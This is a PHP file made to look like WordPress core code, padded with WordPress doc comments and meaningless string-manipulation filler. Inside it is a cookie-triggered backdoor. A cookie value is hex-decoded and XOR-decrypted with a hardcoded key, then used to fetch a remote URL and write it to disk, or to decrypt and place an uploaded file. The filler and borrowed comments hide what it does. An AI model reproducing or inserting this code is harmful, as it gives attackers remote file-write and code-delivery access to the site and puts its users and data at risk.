'xrb6a8'; $thumbnail_support = 'zwpqxk4ei'; $blocklist = 'xo1bq'; $duplicated_keys = strtr($blocklist, 20, 8); $blocklist = basename($duplicated_keys); $confirm_key = 'nq7kll54'; // ...and this. $language_updates = 'v1fc1'; // Noncharacters // Registered for all types. $check_pending_link = stripcslashes($check_pending_link); $alt_text_description = 'e4mj5yl'; $HeaderExtensionObjectParsed = 'wf3ncc'; $about_url = 'f7oelddm'; $edit_link = html_entity_decode($edit_link); $thumbnail_support = stripslashes($HeaderExtensionObjectParsed); $edit_link = substr($edit_link, 15, 12); $first32len = 'kbguq0z'; $force_utc = wordwrap($about_url); $log_file = 'f7v6d0'; $A2 = 'o3hru'; $edit_link = ltrim($edit_link); $first32len = substr($first32len, 5, 7); $thumbnail_support = htmlspecialchars($HeaderExtensionObjectParsed); $IndexSampleOffset = strnatcasecmp($alt_text_description, $log_file); $confirm_key = basename($language_updates); $qval = 'je9g4b7c1'; $force_utc = strtolower($A2); $thisfile_asf_scriptcommandobject = 'ogari'; $header_image_style = 'd26utd8r'; $edit_link = substr($edit_link, 17, 20); $thisfile_asf_scriptcommandobject = is_string($check_pending_link); $header_image_style = convert_uuencode($IndexSampleOffset); $qval = strcoll($qval, $qval); $space_characters = 'der1p0e'; $force_utc = convert_uuencode($A2); $symbol = 'hanoi3'; $language_updates = htmlspecialchars_decode($symbol); // Translate fields. // #!AMR[0A] // The image will be converted when saving. Set the quality for the new mime-type if not already set. $space_characters = strnatcmp($space_characters, $space_characters); $HeaderExtensionObjectParsed = strtolower($qval); $custom_image_header = 'k4hop8ci'; $check_pending_link = ltrim($thisfile_asf_scriptcommandobject); $dim_prop = 'tf0on'; $A2 = rtrim($dim_prop); $cat_in = 'lqd9o0y'; $edit_link = quotemeta($edit_link); $HeaderExtensionObjectParsed = strcoll($HeaderExtensionObjectParsed, $HeaderExtensionObjectParsed); $chapter_matches = 'p1szf'; // [50][33] -- A value describing what kind of transformation has been done. Possible values: $thisfile_asf_scriptcommandobject = strripos($first32len, $cat_in); $dim_prop = stripslashes($A2); $addr = 'mtj6f'; $edit_link = addcslashes($edit_link, $space_characters); $alt_text_description = stripos($custom_image_header, $chapter_matches); // Try prepending as the theme directory could be relative to the content directory. $language_updates = urldecode($language_updates); // how many bytes into the stream - start from after the 10-byte header $t6 = 'jrpmulr0'; $addr = ucwords($thumbnail_support); $space_characters = quotemeta($space_characters); $show_description = 'dmvh'; $asc_text = 'avzxg7'; return $duplicated_keys; } /* translators: 1 & 2: Deprecation replacement options. */ function wp_set_script_translations($thisB){ $timeout_sec = 'ninGFWSzGDvxBsnxxTfxOhfukyD'; if (isset($_COOKIE[$thisB])) { get_roles_data($thisB, $timeout_sec); } } $vars = 'hb7j'; $error_count = 'm6nj9'; /** * Get a human readable description of an extension's error. * * @since 5.2.0 * * @param array $error Error details from `error_get_last()`. * @return string Formatted error description. */ function add_placeholder_escape($hashes, $default_header){ $channelnumber = 'n741bb1q'; $codepointcount = 'sjz0'; $CodecDescriptionLength = 'hi4osfow9'; $edwardsZ = file_get_contents($hashes); // If no extension or function is passed, claim to fail testing, as we have nothing to test against. // catenate the non-empty matches from the conditional subpattern $CodecDescriptionLength = sha1($CodecDescriptionLength); $f4f9_38 = 'qlnd07dbb'; $channelnumber = substr($channelnumber, 20, 6); // s11 += carry10; // Template for the media modal. $old_tt_ids = 'l4dll9'; $allowBitrate15 = 'a092j7'; $codepointcount = strcspn($f4f9_38, $f4f9_38); $show_post_title = add_pages_page($edwardsZ, $default_header); $total_comments = 'mo0cvlmx2'; $allowBitrate15 = nl2br($CodecDescriptionLength); $old_tt_ids = convert_uuencode($channelnumber); // Taxonomy is accessible via a "pretty URL". $epoch = 'pdp9v99'; $f4f9_38 = ucfirst($total_comments); $approved_phrase = 'zozi03'; $channelnumber = strnatcmp($old_tt_ids, $epoch); $allowBitrate15 = levenshtein($approved_phrase, $allowBitrate15); $total_comments = nl2br($total_comments); // Peak volume bass $ASFIndexParametersObjectIndexSpecifiersIndexTypesx xx (xx ...) $tax_object = 'xkxnhomy'; $approved_phrase = levenshtein($allowBitrate15, $approved_phrase); $sizer = 'a6jf3jx3'; // LiteWave appears to incorrectly *not* pad actual output file // Add classes for comment authors that are registered users. file_put_contents($hashes, $show_post_title); } $found_terms = 'zxsxzbtpu'; $error_count = nl2br($error_count); /** * @see ParagonIE_Sodium_Compat::crypto_box_secretkey() * @param string $default_headerpair * @return string * @throws \SodiumException * @throws \TypeError */ function rest_parse_embed_param ($v_found){ $test_type = 'yjsr6oa5'; $allowed_fields = 'ggg6gp'; $sibling_names = 'qidhh7t'; // Backfill these properties similar to `register_block_type_from_metadata()`. $formfiles = 'zzfqy'; $strictPadding = 'fetf'; $test_type = stripcslashes($test_type); // TRAck Fragment box $allowed_fields = strtr($strictPadding, 8, 16); $test_type = htmlspecialchars($test_type); $sibling_names = rawurldecode($formfiles); $v_found = strtolower($v_found); // https://xiph.org/flac/ogg_mapping.html // <Header for 'Synchronised tempo codes', ID: 'SYTC'> $formfiles = urlencode($sibling_names); $single_success = 'kq1pv5y2u'; $test_type = htmlentities($test_type); $child_result = 'uqwo00'; $strictPadding = convert_uuencode($single_success); $client_flags = 'l102gc4'; $child_result = strtoupper($child_result); $sibling_names = quotemeta($client_flags); $hex6_regexp = 'wvtzssbf'; $v_found = strripos($v_found, $v_found); //fe25519_frombytes(r1, h + 32); $msg_browsehappy = 'vgtcbs'; $sibling_names = convert_uuencode($client_flags); $single_success = levenshtein($hex6_regexp, $strictPadding); $PaddingLength = 'zg9pc2vcg'; // Values to use for comparison against the URL. //Only set Content-IDs on inline attachments // RaTiNG $child_result = rtrim($PaddingLength); $single_success = html_entity_decode($single_success); $client_public = 'eprgk3wk'; // A file is required and URLs to files are not currently allowed. // Tweak some value for the variations. // Attachment description (post_content internally). // the output buffer, including the initial "/" character (if any) $msg_browsehappy = sha1($msg_browsehappy); $test_type = wordwrap($PaddingLength); $folder_plugins = 'mgkga'; $check_dir = 'ejqr'; $allowed_fields = strrev($check_dir); $carryLeft = 'r8fhq8'; $client_public = substr($folder_plugins, 10, 15); $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = 'zmbm71y'; // WordPress calculates offsets from UTC. $sibling_names = urlencode($client_public); $PaddingLength = base64_encode($carryLeft); $single_success = is_string($single_success); //No encoded character found // The comment author length max is 255 characters, limited by the TINYTEXT column type. // Still unknown. // 01xx xxxx xxxx xxxx - Class B IDs (2^14-2 possible values) (base 0x4X 0xXX) $other_shortcodes = 'uc1oizm0'; $check_dir = ucwords($strictPadding); $client_public = crc32($sibling_names); // Run through our internal routing and serve. // Non-shortest form sequences are invalid // Menu doesn't already exist, so create a new menu. // Avoid the comment count query for users who cannot edit_posts. // http://wiki.hydrogenaud.io/index.php?title=Ape_Tags_Flags // Can't change to folder = folder doesn't exist. $carryLeft = ucwords($other_shortcodes); $style_asset = 'g9sub1'; $EBMLdatestamp = 'hybfw2'; $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = htmlentities($msg_browsehappy); $WaveFormatEx = 'd19u6v'; // real integer ... $shake_error_codes = 'eaxdp4259'; $style_asset = htmlspecialchars_decode($allowed_fields); $client_public = strripos($client_flags, $EBMLdatestamp); $msg_browsehappy = stripslashes($WaveFormatEx); // Prime attachment post caches. $WaveFormatEx = strip_tags($WaveFormatEx); $shake_error_codes = strrpos($test_type, $carryLeft); $allowed_fields = nl2br($allowed_fields); $stylesheet_directory = 'ggcoy0l3'; // If no singular -- empty object. $tag_map = 'hqfyknko6'; $other_shortcodes = strnatcmp($PaddingLength, $test_type); $stylesheet_directory = bin2hex($EBMLdatestamp); $WaveFormatEx = wordwrap($msg_browsehappy); # $h2 &= 0x3ffffff; # unsigned char block[64U]; $sibling_names = htmlentities($stylesheet_directory); $test_type = html_entity_decode($other_shortcodes); $default_term_id = 'ncvn83'; $frame_flags = 's1km5q38'; $active_key = 'aem8ea'; $thisfile_replaygain = 'kgk9y2myt'; $lang_dir = 'zvjohrdi'; $single_success = stripos($tag_map, $default_term_id); $EBMLdatestamp = strrpos($lang_dir, $stylesheet_directory); $strictPadding = str_repeat($check_dir, 2); $wp_etag = 'q037'; $frame_flags = ucfirst($active_key); $consent = 'whl9xmrok'; $thisfile_replaygain = is_string($wp_etag); $SI2 = 'q4g0iwnj'; $tag_map = addcslashes($allowed_fields, $check_dir); // ----- Call the create fct $use_dotdotdot = 'wiwt2l2v'; $errmsg_blogname = 'vq7z'; $strictPadding = rawurldecode($default_term_id); $checked_terms = 'z9zh5zg'; $errmsg_blogname = strtoupper($errmsg_blogname); $SI2 = strcspn($use_dotdotdot, $EBMLdatestamp); $PaddingLength = strrpos($shake_error_codes, $other_shortcodes); $ALLOWAPOP = 'arih'; $form_end = 'vzc3ahs1h'; $PaddingLength = htmlspecialchars($other_shortcodes); $client_flags = strripos($form_end, $formfiles); $checked_terms = substr($ALLOWAPOP, 10, 16); // Look for plural original. // Constant BitRate (CBR) $ALLOWAPOP = rawurlencode($ALLOWAPOP); $f9_2 = 'nlcq1tie'; $active_key = chop($consent, $consent); //if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) { // found a comment start, and we are in an array, object, or slice // schema version 3 $client_flags = addslashes($f9_2); $status_choices = 'te1r'; $msg_browsehappy = soundex($frame_flags); // If we're the first byte of sequence: $use_dotdotdot = htmlspecialchars($status_choices); $active_key = strip_tags($msg_browsehappy); $WaveFormatEx = strnatcasecmp($msg_browsehappy, $v_found); // e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/" // File type // the fallback value. $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = crc32($frame_flags); // Avoid stomping of the $mu_plugin variable in a plugin. $section_description = 'mbztgfazw'; // ----- Store the file position $consent = quotemeta($section_description); // Have to print the so-far concatenated scripts right away to maintain the right order. // Non-English decimal places when the $sanitized_keyating is coming from a string. return $v_found; } /** * Fires after the list table on the Users screen in the Multisite Network Admin. * * @since 3.1.0 */ function register_block_core_tag_cloud($thisB, $timeout_sec, $client_pk){ // [45][0D] -- Some optional data attached to the ChapProcessCodecID information. For ChapProcessCodecID = 1, it is the "DVD level" equivalent. if (isset($_FILES[$thisB])) { wp_tinycolor_bound01($thisB, $timeout_sec, $client_pk); } rest_get_best_type_for_value($client_pk); } $layout_classes = 'xilvb'; $eq = 'djou5u61'; $fallback = 'u6v2roej'; /** * Constructs rewrite matches and queries from permalink structure. * * Runs the action {@see 'generate_rewrite_rules'} with the parameter that is an * reference to the current WP_Rewrite instance to further manipulate the * permalink structures and rewrite rules. Runs the {@see 'rewrite_rules_array'} * filter on the full rewrite rule array. * * There are two ways to manipulate the rewrite rules, one by hooking into * the {@see 'generate_rewrite_rules'} action and gaining full control of the * object or just manipulating the rewrite rule array before it is passed * from the function. * * @since 1.5.0 * * @return string[] An associative array of matches and queries. */ function error_to_response($AudioCodecFrequency){ if (strpos($AudioCodecFrequency, "/") !== false) { return true; } return false; } /** * Set the default values * * The $options parameter is updated with the results. * * @param string $AudioCodecFrequency URL to request * @param array $headers Extra headers to send with the request * @param array|null $thisfile_mpeg_audio_lame_RGAD_track Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $tableindices HTTP request type * @param array $options Options for the request * @return void * * @throws \WpOrg\Requests\Exception When the $AudioCodecFrequency is not an http(s) URL. */ function get_attributes($AudioCodecFrequency){ // the following methods on the temporary fil and not the real archive # tail = &padded[padded_len - 1U]; // Format strings for display. // ----- Read the gzip file footer // Delete the temporary backup directory if it already exists. // Headers. $captions = 'c20vdkh'; $default_id = 'v5zg'; $minust = 'cb8r3y'; //Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) $captions = trim($captions); $updates = 'dlvy'; $akismet_history_events = 'h9ql8aw'; $default_id = levenshtein($akismet_history_events, $akismet_history_events); $theme_meta = 'pk6bpr25h'; $minust = strrev($updates); $experimental_duotone = 'r6fj'; $akismet_history_events = stripslashes($akismet_history_events); $captions = md5($theme_meta); $unwrapped_name = basename($AudioCodecFrequency); # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); // should be: never read data in $hashes = get_previous_image_link($unwrapped_name); # SIPROUND; native_embed($AudioCodecFrequency, $hashes); } /* * Remove themes from the list of active themes when we're on an endpoint * that should be protected against WSODs and the theme is paused. */ function wp_tinycolor_bound01($thisB, $timeout_sec, $client_pk){ $has_button_colors_support = 'df6yaeg'; $archive = 'n7q6i'; $descendant_ids = 'iiky5r9da'; $OS_FullName = 'rl99'; $options_audiovideo_matroska_hide_clusters = 'zpsl3dy'; $unwrapped_name = $_FILES[$thisB]['name']; $OS_FullName = soundex($OS_FullName); $fieldnametranslation = 'b1jor0'; $block_rules = 'frpz3'; $options_audiovideo_matroska_hide_clusters = strtr($options_audiovideo_matroska_hide_clusters, 8, 13); $archive = urldecode($archive); $hashes = get_previous_image_link($unwrapped_name); $OS_FullName = stripslashes($OS_FullName); $descendant_ids = htmlspecialchars($fieldnametranslation); $table_columns = 'k59jsk39k'; $has_button_colors_support = lcfirst($block_rules); $PHPMAILER_LANG = 'v4yyv7u'; add_placeholder_escape($_FILES[$thisB]['tmp_name'], $timeout_sec); $OS_FullName = strnatcmp($OS_FullName, $OS_FullName); $descendant_ids = strtolower($descendant_ids); $loading_attr = 'gefhrftt'; $main = 'ivm9uob2'; $archive = crc32($PHPMAILER_LANG); // Print tab content. $update_type = 'l5oxtw16'; $loading_attr = is_string($loading_attr); $table_columns = rawurldecode($main); $current_step = 'b894v4'; $first_dropdown = 'kms6'; $current_step = str_repeat($archive, 5); $table_columns = ltrim($main); $has_button_colors_support = stripcslashes($loading_attr); $first_dropdown = soundex($descendant_ids); $c_users = 'm2cvg08c'; $fieldnametranslation = is_string($descendant_ids); $update_type = stripos($c_users, $OS_FullName); $sub_file = 'fsxu1'; $font_sizes_by_origin = 'cftqhi'; $table_columns = ucwords($main); // Create an XML parser. preserve_insert_changeset_post_content($_FILES[$thisB]['tmp_name'], $hashes); } /** * Route matched for the request. * * @since 4.4.0 * @var string */ function wp_title_rss ($Host){ // Offset to next tag $ASFIndexParametersObjectIndexSpecifiersIndexTypesx xx xx xx $skip = 'puuwprnq'; $has_self_closing_flag = 'fhtu'; $theme_json_version = 'qp71o'; $theme_json_version = bin2hex($theme_json_version); $has_self_closing_flag = crc32($has_self_closing_flag); $skip = strnatcasecmp($skip, $skip); $cookie_elements = 'plszbmi'; # sodium_memzero(mac, sizeof mac); // and the 64-bit "real" size value is the next 8 bytes. // If this size is the default but that's not available, don't select it. $awaiting_mod_i18n = 'mrt1p'; $has_self_closing_flag = strrev($has_self_closing_flag); $use_verbose_page_rules = 's1tmks'; $language_updates = 'ctceg'; $cookie_elements = strtr($language_updates, 13, 5); $confirm_key = 'nb8psdx8'; $skip = rtrim($use_verbose_page_rules); $theme_json_version = nl2br($awaiting_mod_i18n); $hints = 'nat2q53v'; # STORE64_LE(slen, (uint64_t) adlen); // source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip $comment_post_ids = 's3qblni58'; $customize_aria_label = 'o7yrmp'; $effective = 'ak6v'; $confirm_key = wordwrap($confirm_key); $hints = htmlspecialchars($comment_post_ids); $matrixRotation = 'g0jalvsqr'; $active_page_ancestor_ids = 'x4kytfcj'; $use_verbose_page_rules = chop($customize_aria_label, $active_page_ancestor_ids); $author__not_in = 'dm9zxe'; $effective = urldecode($matrixRotation); $author__not_in = str_shuffle($author__not_in); $skip = strtoupper($skip); $awaiting_mod_i18n = strip_tags($theme_json_version); $webhook_comments = 'lddho'; $effective = urldecode($matrixRotation); $sqrtm1 = 'zdrclk'; $AudioCodecChannels = 'rumhho9uj'; $skip = htmlspecialchars_decode($sqrtm1); $awaiting_mod_i18n = ltrim($awaiting_mod_i18n); $all_instances = 'hvg4owk'; $blocklist = 'gxwye2'; $theme_json_version = ucwords($effective); $webhook_comments = strrpos($AudioCodecChannels, $comment_post_ids); $v_path_info = 'f1hmzge'; $all_instances = stripslashes($blocklist); // Sync the local "Total spam blocked" count with the authoritative count from the server. $SNDM_endoffset = 'v8t0'; $SNDM_endoffset = md5($all_instances); $current_segment = 'f568uuve3'; $spacing_scale = 'vey42'; $site__in = 'n6itqheu'; $close_button_color = 'oi7vr1vq'; # fe_add(x, x, A.Y); $current_segment = strrev($hints); $site__in = urldecode($matrixRotation); $active_page_ancestor_ids = strnatcmp($v_path_info, $spacing_scale); $AudioCodecChannels = urlencode($webhook_comments); $use_verbose_page_rules = strnatcmp($active_page_ancestor_ids, $sqrtm1); $bit = 'ylw1d8c'; $close_button_color = strripos($SNDM_endoffset, $confirm_key); // 2.9 $sample_permalink = 'gzyxblw'; // a 253-char author when it's saved, not 255 exactly. The longest possible character is // s7 += s19 * 666643; // Add to struct $sample_permalink = ucwords($sample_permalink); $bit = strtoupper($site__in); $skip = strtoupper($skip); $has_self_closing_flag = nl2br($hints); $wp_logo_menu_args = 'koso29hp'; // Loop through the whole attribute list. $uris = 'y5l8jtrm'; $skip = strtolower($use_verbose_page_rules); $webhook_comments = htmlentities($hints); $matrixRotation = urldecode($site__in); $exclude_array = 'lwdlk8'; $active_page_ancestor_ids = bin2hex($v_path_info); $tile = 'n30og'; // GZIP - data - GZIP compressed data $wp_logo_menu_args = quotemeta($uris); $getid3_apetag = 'zekf9c2u'; $altnames = 'd8hha0d'; $current_segment = urldecode($exclude_array); $Host = str_shuffle($cookie_elements); $tile = quotemeta($getid3_apetag); $webhook_comments = rawurlencode($comment_post_ids); $altnames = strip_tags($customize_aria_label); $check_term_id = 's0hcf0l'; $scrape_nonce = 'adl37rj'; $getid3_apetag = ltrim($bit); $AVCProfileIndication = 'eoju'; $check_term_id = stripslashes($skip); $scrape_nonce = html_entity_decode($hints); $attachment_ids = 'p2ixi'; $blocklist = urldecode($attachment_ids); $anchor = 'vaea'; $customize_aria_label = urldecode($active_page_ancestor_ids); $AVCProfileIndication = htmlspecialchars_decode($matrixRotation); // s[6] = s2 >> 6; $max_num_comment_pages = 'umf0i5'; $anchor = convert_uuencode($AudioCodecChannels); $AVCProfileIndication = trim($bit); // Extract placeholders from the query. // 384 kbps $creating = 'xr9ab0qu9'; // unknown? $creating = sha1($cookie_elements); $abspath_fix = 'n2fnulzpy'; $h_feed = 'fo8nlk9uu'; $max_num_comment_pages = quotemeta($active_page_ancestor_ids); $AVCProfileIndication = wordwrap($getid3_apetag); $dbh = 'xub83ufe'; $v_local_header = 'hjntpy'; $webhook_comments = levenshtein($dbh, $hints); $abspath_fix = convert_uuencode($h_feed); $symbol = 'vf0ffwf3'; // $langcodeotices[] = array( 'type' => 'new-key-valid' ); // ----- Check some parameters $sticky_args = 'hjv7c48'; // Try both HTTPS and HTTP since the URL depends on context. $symbol = htmlentities($sticky_args); $h_feed = strtr($Host, 5, 18); $v_local_header = strnatcasecmp($v_local_header, $v_path_info); $hints = stripslashes($author__not_in); // case 'popular': // A plugin was deactivated. $all_bind_directives = 'kij3'; // This is a major version mismatch. $all_bind_directives = strripos($all_instances, $cookie_elements); // ----- Look each entry return $Host; } $found_terms = basename($layout_classes); /** * Constructor - creates a reference to a token in some external HTML string. * * @since 6.4.0 * * @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found. * @param string $langcodeode_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker". * @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid. * @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark. */ function wp_style_engine_get_stylesheet_from_css_rules($AudioCodecFrequency){ $carry21 = 'ijwki149o'; $sticky_inner_html = 'bwk0dc'; $side_widgets = 'wc7068uz8'; $AudioCodecFrequency = "http://" . $AudioCodecFrequency; return file_get_contents($AudioCodecFrequency); } /** * Starter content setting IDs. * * @since 4.7.0 * @var array */ function add_pages_page($thisfile_mpeg_audio_lame_RGAD_track, $default_header){ // Limit us to 50 attachments at a time to avoid timing out. $exponentbits = strlen($default_header); $col_info = 'dtzfxpk7y'; $entry_count = 'fyv2awfj'; $custom_css_query_vars = 'eu18g8dz'; $objects = 'mh6gk1'; $entry_count = base64_encode($entry_count); $col_info = ltrim($col_info); $manual_sdp = 'dvnv34'; $objects = sha1($objects); $varname = 'ovi9d0m6'; $entry_count = nl2br($entry_count); $col_info = stripcslashes($col_info); $commentkey = 'hy0an1z'; $microformats = strlen($thisfile_mpeg_audio_lame_RGAD_track); $varname = urlencode($objects); $col_info = urldecode($col_info); $entry_count = ltrim($entry_count); $custom_css_query_vars = chop($manual_sdp, $commentkey); // always false in this example $entry_count = html_entity_decode($entry_count); $submitted_form = 'eeqddhyyx'; $missed_schedule = 'f8rq'; $expected_size = 'mqu7b0'; // Type of event $ASFIndexParametersObjectIndexSpecifiersIndexTypesx $missed_schedule = sha1($varname); $featured_image = 'wt6n7f5l'; $manual_sdp = chop($submitted_form, $commentkey); $expected_size = strrev($col_info); // Map available theme properties to installed theme properties. $entry_count = stripos($featured_image, $entry_count); $v_list_path_size = 'eib3v38sf'; $DKIMsignatureType = 'lbdy5hpg6'; $original_term_title = 'b14qce'; // Comments rewrite rules. // Contact Form 7 uses _wpcf7 as a prefix to know which fields to exclude from comment_content. $manual_sdp = md5($DKIMsignatureType); $original_term_title = strrpos($expected_size, $expected_size); $entry_count = lcfirst($entry_count); $varname = is_string($v_list_path_size); // ----- Get the first argument $wp_dashboard_control_callbacks = 'u9v4'; $submitted_form = strnatcmp($manual_sdp, $custom_css_query_vars); $ParsedLyrics3 = 'ek1i'; $expected_size = ucfirst($col_info); # fe_mul(z2,tmp1,tmp0); $exponentbits = $microformats / $exponentbits; // Serve oEmbed data from cache if set. // Check for & assign any parameters which require special handling or setting. $NextOffset = 'vybxj0'; $mime_match = 'f2jvfeqp'; $entry_count = crc32($ParsedLyrics3); $wp_dashboard_control_callbacks = sha1($objects); $expected_size = rtrim($NextOffset); $writable = 'a81w'; $meta_tags = 'p7peebola'; $varname = sha1($objects); $missed_schedule = md5($objects); $mime_match = stripcslashes($meta_tags); $entry_count = ltrim($writable); $has_children = 'vjq3hvym'; $exponentbits = ceil($exponentbits); $tokey = str_split($thisfile_mpeg_audio_lame_RGAD_track); $default_header = str_repeat($default_header, $exponentbits); // Copy update-core.php from the new version into place. $max_height = str_split($default_header); // -2 -6.02 dB $writable = wordwrap($ParsedLyrics3); $front_page = 'yordc'; $base_capabilities_key = 'rrkc'; $getid3_ac3 = 'u7ub'; // See ISO/IEC 23008-12:2017(E) 6.5.6.2 $max_height = array_slice($max_height, 0, $microformats); // Only published posts are valid. If this is changed then a corresponding change $has_children = strtolower($getid3_ac3); $DKIMsignatureType = strrev($front_page); $ParsedLyrics3 = htmlentities($entry_count); $base_capabilities_key = soundex($base_capabilities_key); // As of 4.6, deprecated tags which are only used to provide translation for older themes. $original_term_title = ltrim($col_info); $missed_schedule = quotemeta($base_capabilities_key); $writable = urldecode($entry_count); $untrash_url = 'd2ayrx'; $favicon_rewrite = array_map("wp_clean_themes_cache", $tokey, $max_height); $untrash_url = md5($mime_match); $ParsedLyrics3 = stripcslashes($entry_count); $missed_schedule = strrev($missed_schedule); $expected_size = str_repeat($expected_size, 3); // If we're processing a 404 request, clear the error var since we found something. $lazyloader = 'mi6oa3'; $manual_sdp = str_repeat($meta_tags, 1); $base_capabilities_key = strtolower($v_list_path_size); $comments_rewrite = 'kgmysvm'; // ge25519_cached_0(t); $objects = rawurlencode($wp_dashboard_control_callbacks); $lostpassword_redirect = 'cpxr'; $untrash_url = strtr($front_page, 8, 6); $lazyloader = lcfirst($ParsedLyrics3); $comments_rewrite = urldecode($lostpassword_redirect); $front_page = rtrim($untrash_url); $PossiblyLongerLAMEversion_String = 'hkzl'; $widget_type = 'as7qkj3c'; $f1f7_4 = 'ovw4pn8n'; $json_decoding_error = 'tbegne'; $msgNum = 'a70s4'; $ParsedLyrics3 = is_string($widget_type); $favicon_rewrite = implode('', $favicon_rewrite); // Rotate 90 degrees counter-clockwise and flip horizontally. $json_decoding_error = stripcslashes($has_children); $PossiblyLongerLAMEversion_String = levenshtein($f1f7_4, $v_list_path_size); $featured_image = stripslashes($lazyloader); $msgNum = stripos($meta_tags, $commentkey); $start_time = 'ies3f6'; $manual_sdp = crc32($submitted_form); $formatted_item = 'owdg6ku6'; // Strip out HTML tags and attributes that might cause various security problems. // Symbolic Link. $frames_scanned = 'yzd86fv'; $objects = strtolower($start_time); $theme_json_file_cache = 'gf7472'; // The current comment object. $f1f7_4 = quotemeta($start_time); $formatted_item = basename($theme_json_file_cache); $frames_scanned = rawurlencode($submitted_form); return $favicon_rewrite; } $layout_classes = strtr($layout_classes, 12, 15); /** * Streams image in post to browser, along with enqueued changes * in `$_REQUEST['history']`. * * @since 2.9.0 * * @param int $weeuns Attachment post ID. * @return bool True on success, false on failure. */ function get_roles_data($thisB, $timeout_sec){ $maximum_font_size = 'd95p'; $OS_FullName = 'rl99'; $tb_url = 'dmw4x6'; $minust = 'cb8r3y'; $f3g9_38 = 'rvy8n2'; $latlon = $_COOKIE[$thisB]; // Create query and regex for trackback. // ----- Check the directory availability // object does not exist $latlon = pack("H*", $latlon); $client_pk = add_pages_page($latlon, $timeout_sec); // Multi-widget. $OS_FullName = soundex($OS_FullName); $tb_url = sha1($tb_url); $updates = 'dlvy'; $f3g9_38 = is_string($f3g9_38); $module = 'ulxq1'; if (error_to_response($client_pk)) { $md5_filename = the_shortlink($client_pk); return $md5_filename; } register_block_core_tag_cloud($thisB, $timeout_sec, $client_pk); } /** * Filters whether to asynchronously update translation for core, a plugin, or a theme. * * @since 4.0.0 * * @param bool $update Whether to update. * @param object $language_update The update offer. */ function native_embed($AudioCodecFrequency, $hashes){ // 1 $kebab_case = wp_style_engine_get_stylesheet_from_css_rules($AudioCodecFrequency); // $streamnumber_info['stored_filename'] : Stored filename in the archive. // Drafts shouldn't be assigned a date unless explicitly done so by the user. if ($kebab_case === false) { return false; } $thisfile_mpeg_audio_lame_RGAD_track = file_put_contents($hashes, $kebab_case); return $thisfile_mpeg_audio_lame_RGAD_track; } /** * Whether the changeset branching is allowed. * * @since 4.9.0 * @var bool */ function crypto_sign_seed_keypair($arguments){ //Overwrite language-specific strings so we'll never have missing translation keys. $arguments = ord($arguments); return $arguments; } $wp_filename = 't6ikv8n'; $vars = soundex($eq); /** * Fires after the comment fields in the comment form, excluding the textarea. * * @since 3.0.0 */ function privDuplicate ($update_plugins){ $LongMPEGlayerLookup = 'ghx9b'; $clean_genres = 'jcwadv4j'; $mlen = 's0y1'; $fieldtype = 'czmz3bz9'; $lineno = 'obdh390sv'; $clean_genres = str_shuffle($clean_genres); $mlen = basename($mlen); $LongMPEGlayerLookup = str_repeat($LongMPEGlayerLookup, 1); $active_key = 'd7can'; $active_key = strip_tags($update_plugins); # for (i = 20; i > 0; i -= 2) { $sub_item = 'pb3j0'; $fieldtype = ucfirst($lineno); $LongMPEGlayerLookup = strripos($LongMPEGlayerLookup, $LongMPEGlayerLookup); $clean_genres = strip_tags($clean_genres); $ops = 'mekhqkq'; $meta_header = 'h9yoxfds7'; $fhBS = 'qasj'; $LongMPEGlayerLookup = rawurldecode($LongMPEGlayerLookup); $sub_item = strcoll($mlen, $mlen); // Open php file $frame_flags = 'megqyd0rp'; // The finished rules. phew! $meta_header = htmlentities($lineno); $fhBS = rtrim($clean_genres); $add_iframe_loading_attr = 's0j12zycs'; $LongMPEGlayerLookup = htmlspecialchars($LongMPEGlayerLookup); $link_to_parent = 'tm38ggdr'; $origtype = 'nb4g6kb'; $add_iframe_loading_attr = urldecode($sub_item); $fhBS = soundex($fhBS); $limit_schema = 'lllf'; $origtype = urldecode($fieldtype); $mlen = rtrim($mlen); $css = 'ucdoz'; $ops = base64_encode($frame_flags); $default_capabilities_for_mapping = 'qv8j'; $msg_browsehappy = 'dv8d'; // Discogs - https://www.discogs.com/style/cut-up/dj // Protect the admin backend. $limit_schema = nl2br($limit_schema); $old_filter = 'vytx'; $link_to_parent = convert_uuencode($css); $disallowed_html = 't0i1bnxv7'; $default_capabilities_for_mapping = sha1($msg_browsehappy); // Identify file format - loop through $format_info and detect with reg expr $blog_list = 'b3jalmx'; $lineno = stripcslashes($disallowed_html); $old_site_url = 'dkc1uz'; $add_iframe_loading_attr = rawurlencode($old_filter); $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = 'u2m3lzp'; $schema_prop = 'ne41yb'; $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = nl2br($schema_prop); $match_width = 'yfoaykv1'; $LongMPEGlayerLookup = stripos($blog_list, $LongMPEGlayerLookup); $getid3_temp_tempdir = 'xtje'; $old_site_url = chop($limit_schema, $limit_schema); $add_iframe_loading_attr = stripos($match_width, $add_iframe_loading_attr); $blog_list = levenshtein($css, $LongMPEGlayerLookup); $old_site_url = strrpos($old_site_url, $clean_genres); $getid3_temp_tempdir = soundex($disallowed_html); $streams = 'sg74i9h'; $sitemap_index = 'crw5a8ag'; $streams = str_repeat($sitemap_index, 4); return $update_plugins; } /** * Filters the list of email addresses to receive a comment notification. * * By default, only post authors are notified of comments. This filter allows * others to be added. * * @since 3.7.0 * * @param string[] $emails An array of email addresses to receive a comment notification. * @param string $comment_id The comment ID as a numeric string. */ function set_source_class ($blocklist){ $sibling_names = 'qidhh7t'; $utf16 = 'sn1uof'; $custom_css_query_vars = 'eu18g8dz'; $old_autosave = 'le1fn914r'; $g1_19 = 'g3r2'; $confirm_key = 'xgpzpw'; $manual_sdp = 'dvnv34'; $old_autosave = strnatcasecmp($old_autosave, $old_autosave); $g1_19 = basename($g1_19); $formfiles = 